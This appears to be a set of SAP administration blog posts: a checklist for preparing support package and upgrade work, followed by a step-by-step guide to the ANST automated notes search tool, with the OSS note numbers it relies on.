For both support package and upgrade releasing transports is a technical must. It is wise to start a few months before already cleaning up the transport pipeline (transports that are old and not released in development system, transports that are imported into quality environment, but no imported in productive system).

Check the clients

Check if you still have client 001 or 066. If yes, consider deletion. See dedicated blog.

BI queues

During the upgrade all BI queues must be empty. Check it upfront and/or delete them. For more information on BI queue deletion, read this dedicated blog.

Inactive code and data dictionary objects

Before upgrade or support pack can start all code and data dictionary objects must be activated or deleted.

In some rare cases there are inconsistencies in the data dictionary objects. Check table DWINACTIV in this case.

Side effect report for support packages

Per support package SAP keeps track of the unwanted side effects. OSS note 2388572 explains you how to retrieve them for your support package. Best to scan the side effects and apply the ones you think are needed.

For upgrades the side effects list is too large: here you simply need to test and fix any issues encountered.

New functions

After the upgrade you can start to use new functions. Some main functions are listed in the SAP help pages. The more unknown small features are listed by SAP in the SAP improvements finder xls. This xls has 2 tabs: first with the most recent and second with the long list of improvements since 2014. Per improvement you need to check pee-conditions of release and support package, but if you upgraded to recent version, most of the improvements will be installed. Some improvements are always active, some need extra activation steps. This is documented per improvement item.

New security parameters

After an upgrade (not support packs) new security parameters can be introduced to SAP. Prepare already which ones might impact you. For S4HANA upgrades and new security parameters read this dedicated blog.

S4HANA upgrade preparations

If you are upgrading your existing S4HANA upgrade, read this dedicated blog on S4HANA upgrade preparations. And run the readiness check: read this blog.

S4HANA conversion preparations

An upgrade from ECC to S4HANA requires a different approach. In this upgrade also the simplification items and custom code migrations must be done. Read more in this dedicated blog.

For more S4HANA conversion preparations, read this blog.

Aftercare after upgrade

For aftercare after upgrade or support package read this blog.

ANST: automated notes search tool

This blog will explain one of the most useful new tools from SAP when having to find bugs in standard SAP coding. The ANST (automated notes search tool) is not receiving the recognition that is should get. In usability it is same ease as the SNOTE tool.

If you love SNOTE you will also love the ANST tool! Just try it out.

Questions that will be answered in this blog:

  • What is the ANST automated notes search tool?
  • How does is work?
  • Why should I always use this tool before submitting an incident to SAP?

ANST (advanced notes search tool)

The ANST tool can help you in:

  • Quickly finding OSS notes for your issue
  • Check if you Z code is causing the issue or dump, or it is a standard SAP issue

OSS note 1818192 is the ANST FAQ note which also has the minimum version. This note also has an extensive explanation. The how to use below is just a summary.

OSS note 2605555 also contains an excellent PDF inside as attachment, that gives a step by step manual.

How to use the ANST tool?

Start transaction code ANST.

ANST start screen

If you launch it for first time you might get an error "ANST001 Fatal Error. Customizing table is not filled". If this is the case follow the solution steps in OSS note 1909768.

In the transaction code box key in the transaction where you have the issue. As example we will use transaction code S_BCE_68001417 (search for authorizations by complex criteria). The user admin is complaining about an incorrect number of selected authorizations that are shown in that transaction.

So key in the transaction code and description (you can keep it same).

Now press execute: the transaction will be called. In the authorization object screen fill out S_DEVELOP and execute again to get the results:

Initial S_BCE_68001417

Now leave the transaction recording.

In the left bottom of the screen you can see the recording being written into the trace file:

Create trace file

Depending on the complexity and amount of screens you have passed this can take up to 1 to 10 minutes.

The result is shown after the trace file. The result is sorted per SAP module. If you open the details, you can also see the exact program blocks that were hit during the recording.

ANST trace result list per module and program block

Now you can select the modules (if wanted specific code blocks) where you thinks is the issue. After selection hit the Note Search button. The SAP system will now connect to SAP service marketplace and look for the most recent notes for your version, which have not yet been implemented.

Note search result

The middle note seems to be very relevant. From this screen you can can already link to the note (click on note number) and start download to SNOTE already.

Tips on the selection of the components:
1. Never select more than 1000 components: ANST will reject this
2. The less components you select the faster you get results, and shorter list of potential notes as well
3. If you want you can later retrieve the recording and make a different search on different components: no need to re-record
4. Most of the times you can ignore the basis and cross application and basis notes
5. Run the recording and the result together with your functional consultant: he can help filter the components and select useful notes

Changing settings for maximum amount of notes

Especially in the basis or core ABAP area you will notice that ANST cannot read more than 1000 notes at once. This is a default setting you can easily change. In the main ANST screen hit the Settings button and scroll to the right to increase the maximum notes number:

Using ANST to analyze short dumps

The ANST tool can be used as well to analyze short dumps. Just start the ANST tool and run the steps including the step where the dump occurs. After the dump the ANST tool will trace the modules including the point where the dump occurs.

Make sure OSS note 2535278 is applied: this contains bug fix for the short dump case.

Checking for customer code issues

After the trace file is generated and you have searched for OSS notes, it can be there is still an issue caused by your own customer code. To exclude this (or to check it anyhow), you have to use the button Customer Code from the trace result screen with all the components. Be a bit patient while the tool is scanning for modifications, user-exits, BADI implementations and enhancement spots it came across in the recording.

If you want to analyze implicit and explicit enhancements as well with ANST you must apply OSS note 2408785 first.

ANST clickable demo

SAP has made a nice clickable demo to show you how it works: link to demo.

Use of ANST tool before submitting incident to SAP

Even if the ANST tool does not help you search for the correct OSS note for your issue, the ANST tool can help you in speed up of the incident solution for SAP.

If you want to report the issue to SAP as an incident download the ANST trace file. If you report the incident mention:

  • ANST tool is used and add the recording
  • Add list of already implemented OSS notes
  • You already checked for customer code

With this information the first line processor will have a quick job assigning the incident to the real issue solvers in Walldorf. This will save you valuable time, since the first line normally come with simple list of notes, or also run the ANST tool themselves, and then come with obvious notes.

Increasing the maximum number of objects limit

If you are using the ANST tool on a transaction with many objects (for example ME21n purchase order), you will notice that you cannot search for more than 1000 objects at the same time. Then you have to open subsection and select subtree and run it more than once with different selections. But sometimes one node really expands into more than 1000 objects. In this case, you best increase the maximum object limit. In ANST start screen choose the Settings button can increase the Max.Object counter on the far right of the settings (scrolling required)

ANST max notes search settings

Needless to say, more objects do take more time to analyze. But it is worth the wait.

Relevant OSS notes

Some interesting OSS notes to review:

When analyzing very large transactions, you might face CX_SY_CONVERSION_OVERFLOW dump. For workaround read this OSS note: 2921867 – ANST: Dump “CONVT_OVERFLOW” “CX_SY_CONVERSION_OVERFLOW”.

Other errors and bug fix notes:

While switching to new SAP support backbone you might get a connection error. Follow the instructions from OSS note 2781045 – ANST / ST22 note search “Connection cannot be established” to solve it. Also apply OSS notes 2730525 – Consuming the Note Search Webservice and 2818143 – SEARCH_NOTES- Implementing SOAP Based Note Search.

And: 2829951 – Error while calling ANST Note Search WebService.

ANST for web applications and FIORI

ANST can also be used for web applications and FIORI. See this blog.